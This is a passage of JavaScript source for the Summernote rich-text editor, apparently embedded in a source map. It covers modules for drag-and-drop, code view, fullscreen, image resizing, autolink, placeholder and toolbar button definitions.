.on('drop', this.documentEventHandlers.onDrop);\n\n    // change dropzone's message on hover.\n    this.$dropzone.on('dragenter', () => {\n      this.$dropzone.addClass('hover');\n      $dropzoneMessage.text(this.lang.image.dropImage);\n    }).on('dragleave', () => {\n      this.$dropzone.removeClass('hover');\n      $dropzoneMessage.text(this.lang.image.dragImageHere);\n    });\n\n    // attach dropImage\n    this.$dropzone.on('drop', (event) => {\n      const dataTransfer = event.originalEvent.dataTransfer;\n\n      // stop the browser from opening the dropped content\n      event.preventDefault();\n\n      if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {\n        this.$editable.focus();\n        this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);\n      } else {\n        $.each(dataTransfer.types, (idx, type) => {\n          const content = dataTransfer.getData(type);\n\n          if (type.toLowerCase().indexOf('text') > -1) {\n            this.context.invoke('editor.pasteHTML', content);\n          } else {\n            $(content).each((idx, item) => {\n              this.context.invoke('editor.insertNode', item);\n            });\n          }\n        });\n      }\n    }).on('dragover', false); // prevent default dragover event\n  }\n\n  destroy() {\n    Object.keys(this.documentEventHandlers).forEach((key) => {\n      this.$eventListener.off(key.substr(2).toLowerCase(), this.documentEventHandlers[key]);\n    });\n    this.documentEventHandlers = {};\n  }\n}\n","import env from '../core/env';\nimport dom from '../core/dom';\n\nlet CodeMirror;\nif (env.hasCodeMirror) {\n  if (env.isSupportAmd) {\n    require(['codemirror'], function(cm) {\n      CodeMirror = cm;\n    });\n  } else {\n    CodeMirror = window.CodeMirror;\n  }\n}\n\n/**\n * @class Codeview\n */\nexport default class CodeView {\n  constructor(context) {\n    this.context = context;\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.$codable = context.layoutInfo.codable;\n    this.options = context.options;\n  }\n\n  sync() {\n    const isCodeview = this.isActivated();\n    if (isCodeview && env.hasCodeMirror) {\n      this.$codable.data('cmEditor').save();\n    }\n  }\n\n  /**\n   * @return {Boolean}\n   */\n  isActivated() {\n    return this.$editor.hasClass('codeview');\n  }\n\n  /**\n   * toggle codeview\n   */\n  toggle() {\n    if (this.isActivated()) {\n      this.deactivate();\n    } else {\n      this.activate();\n    }\n    this.context.triggerEvent('codeview.toggled');\n  }\n\n  /**\n   * activate code view\n   */\n  activate() {\n    this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));\n    this.$codable.height(this.$editable.height());\n\n    this.context.invoke('toolbar.updateCodeview', true);\n    this.$editor.addClass('codeview');\n    this.$codable.focus();\n\n    // activate CodeMirror as codable\n    if (env.hasCodeMirror) {\n      const cmEditor = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);\n\n      // CodeMirror TernServer\n      if (this.options.codemirror.tern) {\n        const server = new CodeMirror.TernServer(this.options.codemirror.tern);\n        cmEditor.ternServer = server;\n        cmEditor.on('cursorActivity', (cm) => {\n          server.updateArgHints(cm);\n        });\n      }\n\n      cmEditor.on('blur', (event) => {\n        this.context.triggerEvent('blur.codeview', cmEditor.getValue(), event);\n      });\n\n      // CodeMirror hasn't Padding.\n      cmEditor.setSize(null, this.$editable.outerHeight());\n      this.$codable.data('cmEditor', cmEditor);\n    } else {\n      this.$codable.on('blur', (event) => {\n        this.context.triggerEvent('blur.codeview', this.$codable.val(), event);\n      });\n    }\n  }\n\n  /**\n   * deactivate code view\n   */\n  deactivate() {\n    // deactivate CodeMirror as codable\n    if (env.hasCodeMirror) {\n      const cmEditor = this.$codable.data('cmEditor');\n      this.$codable.val(cmEditor.getValue());\n      cmEditor.toTextArea();\n    }\n\n    const value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;\n    const isChange = this.$editable.html() !== value;\n\n    this.$editable.html(value);\n    this.$editable.height(this.options.height ? this.$codable.height() : 'auto');\n    this.$editor.removeClass('codeview');\n\n    if (isChange) {\n      this.context.triggerEvent('change', this.$editable.html(), this.$editable);\n    }\n\n    this.$editable.focus();\n\n    this.context.invoke('toolbar.updateCodeview', false);\n  }\n\n  destroy() {\n    if (this.isActivated()) {\n      this.deactivate();\n    }\n  }\n}\n","import $ from 'jquery';\nconst EDITABLE_PADDING = 24;\n\nexport default class Statusbar {\n  constructor(context) {\n    this.$document = $(document);\n    this.$statusbar = context.layoutInfo.statusbar;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n  }\n\n  initialize() {\n    if (this.options.airMode || this.options.disableResizeEditor) {\n      this.destroy();\n      return;\n    }\n\n    this.$statusbar.on('mousedown', (event) => {\n      event.preventDefault();\n      event.stopPropagation();\n\n      const editableTop = this.$editable.offset().top - this.$document.scrollTop();\n      const onMouseMove = (event) => {\n        let height = event.clientY - (editableTop + EDITABLE_PADDING);\n\n        height = (this.options.minheight > 0) ? Math.max(height, this.options.minheight) : height;\n        height = (this.options.maxHeight > 0) ? Math.min(height, this.options.maxHeight) : height;\n\n        this.$editable.height(height);\n      };\n\n      this.$document.on('mousemove', onMouseMove).one('mouseup', () => {\n        this.$document.off('mousemove', onMouseMove);\n      });\n    });\n  }\n\n  destroy() {\n    this.$statusbar.off();\n    this.$statusbar.addClass('locked');\n  }\n}\n","import $ from 'jquery';\n\nexport default class Fullscreen {\n  constructor(context) {\n    this.context = context;\n\n    this.$editor = context.layoutInfo.editor;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.$editable = context.layoutInfo.editable;\n    this.$codable = context.layoutInfo.codable;\n\n    this.$window = $(window);\n    this.$scrollbar = $('html, body');\n\n    this.onResize = () => {\n      this.resizeTo({\n        h: this.$window.height() - this.$toolbar.outerHeight()\n      });\n    };\n  }\n\n  resizeTo(size) {\n    this.$editable.css('height', size.h);\n    this.$codable.css('height', size.h);\n    if (this.$codable.data('cmeditor')) {\n      this.$codable.data('cmeditor').setsize(null, size.h);\n    }\n  }\n\n  /**\n   * toggle fullscreen\n   */\n  toggle() {\n    this.$editor.toggleClass('fullscreen');\n    if (this.isFullscreen()) {\n      this.$editable.data('orgHeight', this.$editable.css('height'));\n      this.$window.on('resize', this.onResize).trigger('resize');\n      this.$scrollbar.css('overflow', 'hidden');\n    } else {\n      this.$window.off('resize', this.onResize);\n      this.resizeTo({ h: this.$editable.data('orgHeight') });\n      this.$scrollbar.css('overflow', 'visible');\n    }\n\n    this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());\n  }\n\n  isFullscreen() {\n    return this.$editor.hasClass('fullscreen');\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\n\nexport default class Handle {\n  constructor(context) {\n    this.context = context;\n    this.$document = $(document);\n    this.$editingArea = context.layoutInfo.editingArea;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    this.events = {\n      'summernote.mousedown': (we, e) => {\n        if (this.update(e.target)) {\n          e.preventDefault();\n        }\n      },\n      'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': () => {\n        this.update();\n      },\n      'summernote.disable': () => {\n        this.hide();\n      },\n      'summernote.codeview.toggled': () => {\n        this.update();\n      }\n    };\n  }\n\n  initialize() {\n    this.$handle = $([\n      '<div class=\"note-handle\">',\n      '<div class=\"note-control-selection\">',\n      '<div class=\"note-control-selection-bg\"></div>',\n      '<div class=\"note-control-holder note-control-nw\"></div>',\n      '<div class=\"note-control-holder note-control-ne\"></div>',\n      '<div class=\"note-control-holder note-control-sw\"></div>',\n      '<div class=\"',\n      (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),\n      ' note-control-se\"></div>',\n      (this.options.disableResizeImage ? '' : '<div class=\"note-control-selection-info\"></div>'),\n      '</div>',\n      '</div>'\n    ].join('')).prependTo(this.$editingArea);\n\n    this.$handle.on('mousedown', (event) => {\n      if (dom.isControlSizing(event.target)) {\n        event.preventDefault();\n        event.stopPropagation();\n\n        const $target = this.$handle.find('.note-control-selection').data('target');\n        const posStart = $target.offset();\n        const scrollTop = this.$document.scrollTop();\n\n        const onMouseMove = (event) => {\n          this.context.invoke('editor.resizeTo', {\n            x: event.clientX - posStart.left,\n            y: event.clientY - (posStart.top - scrollTop)\n          }, $target, !event.shiftKey);\n\n          this.update($target[0]);\n        };\n\n        this.$document\n          .on('mousemove', onMouseMove)\n          .one('mouseup', (e) => {\n            e.preventDefault();\n            this.$document.off('mousemove', onMouseMove);\n            this.context.invoke('editor.afterCommand');\n          });\n\n        if (!$target.data('ratio')) { // original ratio.\n          $target.data('ratio', $target.height() / $target.width());\n        }\n      }\n    });\n\n    // Listen for scrolling on the handle overlay.\n    this.$handle.on('wheel', (e) => {\n      e.preventDefault();\n      this.update();\n    });\n  }\n\n  destroy() {\n    this.$handle.remove();\n  }\n\n  update(target) {\n    if (this.context.isDisabled()) {\n      return false;\n    }\n\n    const isImage = dom.isImg(target);\n    const $selection = this.$handle.find('.note-control-selection');\n\n    this.context.invoke('imagePopover.update', target);\n\n    if (isImage) {\n      const $image = $(target);\n      const position = $image.position();\n      const pos = {\n        left: position.left + parseInt($image.css('marginLeft'), 10),\n        top: position.top + parseInt($image.css('marginTop'), 10)\n      };\n\n      // exclude margin\n      const imageSize = {\n        w: $image.outerWidth(false),\n        h: $image.outerHeight(false)\n      };\n\n      $selection.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top,\n        width: imageSize.w,\n        height: imageSize.h\n      }).data('target', $image); // save current image element.\n\n      const origImageObj = new Image();\n      origImageObj.src = $image.attr('src');\n\n      const sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';\n      $selection.find('.note-control-selection-info').text(sizingText);\n      this.context.invoke('editor.saveTarget', target);\n    } else {\n      this.hide();\n    }\n\n    return isImage;\n  }\n\n  /**\n   * hide\n   *\n   * @param {jQuery} $handle\n   */\n  hide() {\n    this.context.invoke('editor.clearTarget');\n    this.$handle.children().hide();\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport key from '../core/key';\n\nconst defaultScheme = 'http://';\nconst linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?|mailto:[A-Z0-9._%+-]+@)?(www\\.)?(.+)$/i;\n\nexport default class AutoLink {\n  constructor(context) {\n    this.context = context;\n    this.events = {\n      'summernote.keyup': (we, e) => {\n        if (!e.isDefaultPrevented()) {\n          this.handleKeyup(e);\n        }\n      },\n      'summernote.keydown': (we, e) => {\n        this.handleKeydown(e);\n      }\n    };\n  }\n\n  initialize() {\n    this.lastWordRange = null;\n  }\n\n  destroy() {\n    this.lastWordRange = null;\n  }\n\n  replace() {\n    if (!this.lastWordRange) {\n      return;\n    }\n\n    const keyword = this.lastWordRange.toString();\n    const match = keyword.match(linkPattern);\n\n    if (match && (match[1] || match[2])) {\n      const link = match[1] ? keyword : defaultScheme + keyword;\n      const node = $('<a />').html(keyword).attr('href', link)[0];\n\n      this.lastWordRange.insertNode(node);\n      this.lastWordRange = null;\n      this.context.invoke('editor.focus');\n    }\n  }\n\n  handleKeydown(e) {\n    if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n      const wordRange = this.context.invoke('editor.createRange').getWordRange();\n      this.lastWordRange = wordRange;\n    }\n  }\n\n  handleKeyup(e) {\n    if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n      this.replace();\n    }\n  }\n}\n","import dom from '../core/dom';\n\n/**\n * textarea auto sync.\n */\nexport default class AutoSync {\n  constructor(context) {\n    this.$note = context.layoutInfo.note;\n    this.events = {\n      'summernote.change': () => {\n        this.$note.val(context.invoke('code'));\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return dom.isTextarea(this.$note[0]);\n  }\n}\n","import $ from 'jquery';\nexport default class Placeholder {\n  constructor(context) {\n    this.context = context;\n\n    this.$editingArea = context.layoutInfo.editingArea;\n    this.options = context.options;\n    this.events = {\n      'summernote.init summernote.change': () => {\n        this.update();\n      },\n      'summernote.codeview.toggled': () => {\n        this.update();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !!this.options.placeholder;\n  }\n\n  initialize() {\n    this.$placeholder = $('<div class=\"note-placeholder\">');\n    this.$placeholder.on('click', () => {\n      this.context.invoke('focus');\n    }).text(this.options.placeholder).prependTo(this.$editingArea);\n\n    this.update();\n  }\n\n  destroy() {\n    this.$placeholder.remove();\n  }\n\n  update() {\n    const isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');\n    this.$placeholder.toggle(isShow);\n  }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport env from '../core/env';\n\nexport default class Buttons {\n  constructor(context) {\n    this.ui = $.summernote.ui;\n    this.context = context;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n    this.invertedKeyMap = func.invertObject(\n      this.options.keyMap[env.isMac ? 'mac' : 'pc']\n    );\n  }\n\n  representShortcut(editorMethod) {\n    let shortcut = this.invertedKeyMap[editorMethod];\n    if (!this.options.shortcuts || !shortcut) {\n      return '';\n    }\n\n    if (env.isMac) {\n      shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');\n    }\n\n    shortcut = shortcut.replace('BACKSLASH', '\\\\')\n      .replace('SLASH', '/')\n      .replace('LEFTBRACKET', '[')\n      .replace('RIGHTBRACKET', ']');\n\n    return ' (' + shortcut + ')';\n  }\n\n  button(o) {\n    if (!this.options.tooltip && o.tooltip) {\n      delete o.tooltip;\n    }\n    o.container = this.options.container;\n    return this.ui.button(o);\n  }\n\n  initialize() {\n    this.addToolbarButtons();\n    this.addImagePopoverButtons();\n    this.addLinkPopoverButtons();\n    this.addTablePopoverButtons();\n    this.fontInstalledMap = {};\n  }\n\n  destroy() {\n    delete this.fontInstalledMap;\n  }\n\n  isFontInstalled(name) {\n    if (!this.fontInstalledMap.hasOwnProperty(name)) {\n      this.fontInstalledMap[name] = env.isFontInstalled(name) ||\n        lists.contains(this.options.fontNamesIgnoreCheck, name);\n    }\n\n    return this.fontInstalledMap[name];\n  }\n\n  isFontDeservedToAdd(name) {\n    const genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];\n    name = name.toLowerCase();\n\n    return ((name !== '') && this.isFontInstalled(name) && ($.inArray(name, genericFamilies) === -1));\n  }\n\n  addToolbarButtons() {\n    this.context.memo('button.style', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(\n            this.ui.icon(this.options.icons.magic), this.options\n          ),\n          tooltip: this.lang.style.style,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown({\n          className: 'dropdown-style',\n          items: this.options.styleTags,\n          title: this.lang.style.style,\n          template: (item) => {\n            if (typeof item === 'string') {\n              item = { tag: item, title: (this.lang.style.hasOwnProperty(item) ? this.lang.style[item] : item) };\n            }\n\n            const tag = item.tag;\n            const title = item.title;\n            const style = item.style ? ' style=\"' + item.style + '\" ' : '';\n            const className = item.className ? ' class=\"' + item.className + '\"' : '';\n\n            return '<' + tag + style + className + '>' + title + '</' + tag + '>';\n          },\n          click: this.context.createInvokeHandler('editor.formatBlock')\n        })\n      ]).render();\n    });\n\n    for (let styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {\n      const item = this.options.styleTags[styleIdx];\n\n      this.context.memo('button.style.' + item, () => {\n        return this.button({\n          className: 'note-btn-style-' + item,\n          contents: '<div data-value=\"' + item + '\">' + item.toUpperCase() + '</div>',\n          tooltip: this.lang.style[item],\n          click: this.context.createInvokeHandler('editor.formatBlock')\n        }).render();\n      });\n    }\n\n    this.context.memo('button.bold', () => {\n      return this.button({\n        className: 'note-btn-bold',\n        contents: this.ui.icon(this.options.icons.bold),\n        tooltip: this.lang.font.bold + this.representShortcut('bold'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.bold')\n      }).render();\n    });\n\n    this.context.memo('button.italic', () => {\n      return this.button({\n        className: 'note-btn-italic',\n        contents: this.ui.icon(this.options.icons.italic),\n        tooltip: this.lang.font.italic + this.representShortcut('italic'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.italic')\n      }).render();\n    });\n\n    this.context.memo('button.underline', () => {\n      return this.button({\n        className: 'note-btn-underline',\n        contents: this.ui.icon(this.options.icons.underline),\n        tooltip: this.lang.font.underline + this.representShortcut('underline'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.underline')\n      }).render();\n    });\n\n    this.context.memo('button.clear', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.eraser),\n        tooltip: this.lang.font.clear + this.representShortcut('removeFormat'),\n        click: this.context.createInvokeHandler('editor.removeFormat')\n      }).render();\n    });\n\n    this.context.memo('button.strikethrough', () => {\n      return this.button({\n        className: 'note-btn-strikethrough',\n        contents: this.ui.icon(this.options.icons.strikethrough),\n        tooltip: this.lang.font.strikethrough + this.representShortcut('strikethrough'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')\n      }).render();\n    });\n\n    this.context.memo('button.superscript', () => {\n      return this.button({\n        className: 'note-btn-superscript',\n        contents: this.ui.icon(this.options.icons.superscript),\n        tooltip: this.lang.font.superscript,\n        click: this.context.createInvokeHandlerAndUpdateState('editor.superscript')\n      }).render();\n    });\n\n    this.context.memo('button.subscript', () => {\n      return this.button({\n        className: 'note-btn-subscript',\n        contents: this.ui.icon(this.options.icons.subscript),\n        tooltip: this.lang.font.subscript,\n        click: this.context.createInvokeHandlerAndUpdateState('editor.subscript')\n      }).render();\n    });\n\n    this.context.memo('button.fontname', () => {\n      const styleInfo = this.context.invoke('editor.currentStyle');\n\n      // Add 'default' fonts into the fontnames array if not exist\n      $.each(styleInfo['font-family'].split(','), (idx, fontname) => {\n        fontname = fontname.trim().replace(/['\"]+/g, '');\n        if (this.isFontDeservedToAdd(fontname)) {\n          if ($.inArray(fontname, this.options.fontNames) === -1) {\n            this.options.fontNames.push(fontname);\n          }\n        }\n      });\n\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(\n            '<span class=\"note-current-fontname\"/>', this.options\n          ),\n          tooltip: this.lang.font.name,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          className: 'dropdown-fontname',\n          checkClassName: this.options.icons.menuCheck,\n          items: this.options.fontNames.filter(this.isFontInstalled.bind(this)),\n          title: this.lang.font.name,\n          template: (item) => {\n            return '<span style=\"font-family: \\'' + item + '\\'\">' + item + '</span>';\n          },\n          click: this.context.createInvokeHandlerAndUpdateState('editor.fontName')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.fontsize', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents('<span class=\"note-current-fontsize\"/>', this.options),\n          tooltip: this.lang.font.size,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          className: 'dropdown-fontsize',\n          checkClassName: this.options.icons.menuCheck,\n          items: this.options.fontSizes,\n          title: this.lang.font.size,\n          click: this.context.createInvokeHandlerAndUpdateState('editor.fontSize')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.color', () => {\n      return this.ui.buttonGroup({\n        className: 'note-color',\n        children: [\n          this.button({\n            className: 'note-current-color-button',\n            contents: this.ui.icon(this.options.icons.font + ' note-recent-color'),\n            tooltip: this.lang.color.recent,\n            click: (e) => {\n              const $button = $(e.currentTarget);\n              this.context.invoke('editor.color', {\n                backColor: $button.attr('data-backColor'),\n                foreColor: $button.attr('data-foreColor')\n              });\n            },\n            callback: ($button) => {\n              const $recentColor = $button.find('.note-recent-color');\n              $recentColor.css('background-color', '#FFFF00');\n              $button.attr('data-backColor', '#FFFF00');\n            }\n          }),\n          this.button({\n            className: 'dropdown-toggle',\n            contents: this.ui.dropdownButtonContents('', this.options),\n            tooltip: this.lang.color.more,\n            data: {\n              toggle: 'dropdown'\n            }\n          }),\n          this.ui.dropdown({\n            items: [\n              '<div class=\"note-palette\">',\n              '  <div class=\"note-palette-title\">' + this.lang.color.background + '</div>',\n              '  <div>',\n              '    <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"backColor\" data-value=\"inherit\">',\n              this.lang.color.transparent,\n              '    </button>',\n              '  </div>',\n              '  <div class=\"note-holder\" data-event=\"backColor\"/>',\n              '</div>',\n              '<div class=\"note-palette\">',\n              '  <div class=\"note-palette-title\">' + this.lang.color.foreground + '</div>',\n              '  <div>',\n              '    <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"removeFormat\" data-value=\"foreColor\">',\n              this.lang.color.resetToDefault,\n              '    </button>',\n              '  </div>',\n              '  <div class=\"note-holder\" data-event=\"foreColor\"/>',\n              '</div>'\n            ].join(''),\n            callback: ($dropdown) => {\n              $dropdown.find('.note-holder').each((idx, item) => {\n                const $holder = $(item);\n                $holder.append(this.ui.palette({\n                  colors: this.options.colors,\n                  colorsName: this.options.colorsName,\n                  eventName: $holder.data('event'),\n                  container: this.options.container,\n                  tooltip: this.options.tooltip\n                }).render());\n              });\n            },\n            click: (event) => {\n              const $button = $(event.target);\n              const eventName = $button.data('event');\n              const value = $button.data('value');\n\n              if (eventName && value) {\n                const key = eventName === 'backColor' ? 'background-color' : 'color';\n                const $color = $button.closest('.note-color').find('.note-recent-color');\n                const $currentButton = $button.closest('.note-color').find('.note-current-color-button');\n\n                $color.css(key, value);\n                $currentButton.attr('data-' + eventName, value);\n                this.context.invoke('editor.' + eventName, value);\n              }\n            }\n          })\n        ]\n      }).render();\n    });\n\n    this.context.memo('button.ul', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.unorderedlist),\n        tooltip: this.lang.lists.unordered + this.representShortcut('insertUnorderedList'),\n        click: this.context.createInvokeHandler('editor.insertUnorderedList')\n      }).render();\n    });\n\n    this.context.memo('button.ol', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.orderedlist),\n        tooltip: this.lang.lists.ordered + this.representShortcut('insertOrderedList'),\n        click: this.context.createInvokeHandler('editor.insertOrderedList')\n      }).render();\n    });\n\n    const justifyLeft = this.button({\n      contents: this.ui.icon(this.options.icons.alignLeft),\n      tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),\n      click: this.context.createInvokeHandler('editor.justifyLeft')\n    });\n\n    const justifyCenter = this.button({\n      contents: this.ui.icon(this.options.icons.alignCenter),\n      tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),\n      click: this.context.createInvokeHandler('editor.justifyCenter')\n    });\n\n    const justifyRight = this.button({\n      contents: this.ui.icon(this.options.icons.alignRight),\n      tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),\n      click: this.context.createInvokeHandler('editor.justifyRight')\n    });\n\n    const justifyFull = this.button({\n      contents: this.ui.icon(this.options.icons.alignJustify),\n      tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),\n      click: this.context.createInvokeHandler('editor.justifyFull')\n    });\n\n    const outdent = this.button({\n      contents: this.ui.icon(this.options.icons.outdent),\n      tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),\n      click: this.context.createInvokeHandler('editor.outdent')\n    });\n\n    const indent = this.button({\n      contents: this.ui.icon(this.options.icons.indent),\n      tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),\n      click: this.context.createInvokeHandler('editor.indent')\n    });\n\n    this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));\n    this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));\n    this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));\n    this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));\n    this.context.memo('button.outdent', func.invoke(outdent, 'render'));\n    this.context.memo('button.indent', func.invoke(indent, 'render'));\n\n    this.context.memo('button.paragraph', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.alignLeft), this.options),\n          tooltip: this.lang.paragraph.paragraph,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown([\n          this.ui.buttonGroup({\n            className: 'note-align',\n            children: [justifyLeft, justifyCenter, justifyRight, justifyFull]\n          }),\n          this.ui.buttonGroup({\n            className: 'note-list',\n            children: [outdent, indent]\n          })\n        ])\n      ]).render();\n    });\n\n    this.context.memo('button.height', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.textHeight), this.options),\n          tooltip: this.lang.font.height,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          items: this.options.lineHeights,\n          checkClassName: this.options.icons.menuCheck,\n          className: 'dropdown-line-height',\n          title: this.lang.font.height,\n          click: this.context.createInvokeHandler('editor.lineHeight')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.table', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.table), this.options),\n          tooltip: this.lang.table.table,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown({\n          title: this.lang.table.table,\n          className: 'note-table',\n          items: [\n            '<div class=\"note-dimension-picker\">',\n            '  <div class=\"note-dimension-picker-mousecatcher\" data-event=\"insertTable\" data-value=\"1x1\"/>',\n            '  <div class=\"note-dimension-picker-highlighted\"/>',\n            '  <div class=\"note-dimension-picker-unhighlighted\"/>',\n            '</div>',\n            '<div class=\"note-dimension-display\">1 x 1</div>'\n          ].join('')\n        })\n      ], {\n        callback: ($node) => {\n          const $catcher = $node.find('.note-dimension-picker-mousecatcher');\n          $catcher.css({\n            width: this.options.insertTableMaxSize.col + 'em',\n            height: this.options.insertTableMaxSize.row + 'em'\n          }).mousedown(this.context.createInvokeHandler('editor.insertTable'))\n            .on('mousemove', this.tableMoveHandler.bind(this));\n        }\n      }).render();\n    });\n\n    this.context.memo('button.link', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.link),\n        tooltip: this.lang.link.link + this.representShortcut('linkDialog.show'),\n        click: this.context.createInvokeHandler('linkDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.picture', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.picture),\n        tooltip: this.lang.image.image,\n        click: this.context.createInvokeHandler('imageDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.video', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.video),\n        tooltip: this.lang.video.video,\n        click: this.context.createInvokeHandler('videoDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.hr', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.minus),\n        tooltip: this.lang.hr.insert + this.representShortcut('insertHorizontalRule'),\n        click: this.context.createInvokeHandler('editor.insertHorizontalRule')\n      }).render();\n    });\n\n    this.context.memo('button.fullscreen', () => {\n      return this.button({\n        className: 'btn-fullscreen',\n        contents: this.ui.icon(this.options.icons.arrowsAlt),\n        tooltip: this.lang.options.fullscreen,\n        click: this.context.createInvokeHandler('fullscreen.toggle')\n      }).render();\n    });\n\n    this.context.memo('button.codeview', () => {\n      return this.button({\n        className: 'btn-codeview',\n        contents: this.ui.icon(this.options.icons.code),\n        tooltip: this.lang.options.codeview,\n        click: this.context.createInvokeHandler('codeview.toggle')\n      }).render();\n    });\n\n    this.context.memo('button.redo', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.redo),\n        tooltip: this.lang.history.redo + this.representShortcut('redo'),\n        click: this.context.createInvokeHandler('editor.redo')\n      }).render();\n    });\n\n    this.context.memo('button.undo', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.undo),\n        tooltip: this.lang.history.undo + this.representShortcut('undo'),\n        click: this.context.createInvokeHandler('editor.undo')\n      }).render();\n    });\n\n    this.context.memo('button.help', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.question),\n        tooltip: this.lang.options.help,\n        click: this.context.createInvokeHandler('helpDialog.show')\n      }).render();\n    });\n  }\n\n  /**\n   * image : [\n   *   ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n   *   ['float', ['floatLeft', 'floatRight', 'floatNone' ]],\n   *   ['remove', ['removeMedia']]\n   * ],\n   */\n  addImagePopoverButtons() {\n    // Image Size Buttons\n    this.context.memo('button.imageSize100', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">100%</span>',\n        tooltip: this.lang.image.resizeFull,\n        click: this.context.createInvokeHandler('editor.resize', '1')\n      }).render();\n    });\n    this.context.memo('button.imageSize50', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">50%</span>',\n        tooltip: this.lang.image.resizeHalf,\n        click: this.context.createInvokeHandler('editor.resize', '0.5')\n      }).render();\n    });\n    this.context.memo('button.imageSize25', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">25%</span>',\n        tooltip: this.lang.image.resizeQuarter,\n        click: this.context.createInvokeHandler('editor.resize', '0.25')\n      }).render();\n    });\n\n    // Float Buttons\n    this.context.memo('button.floatLeft', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignLeft),\n        tooltip: this.lang.image.floatLeft,\n        click: this.context.createInvokeHandler('editor.floatMe', 'left')\n      }).render();\n    });\n\n    this.context.memo('button.floatRight', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignRight),\n        tooltip: this.lang.image.floatRight,\n        click: this.context.createInvokeHandler('editor.floatMe', 'right')\n      }).render();\n    });\n\n    this.context.memo('button.floatNone', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignJustify),\n        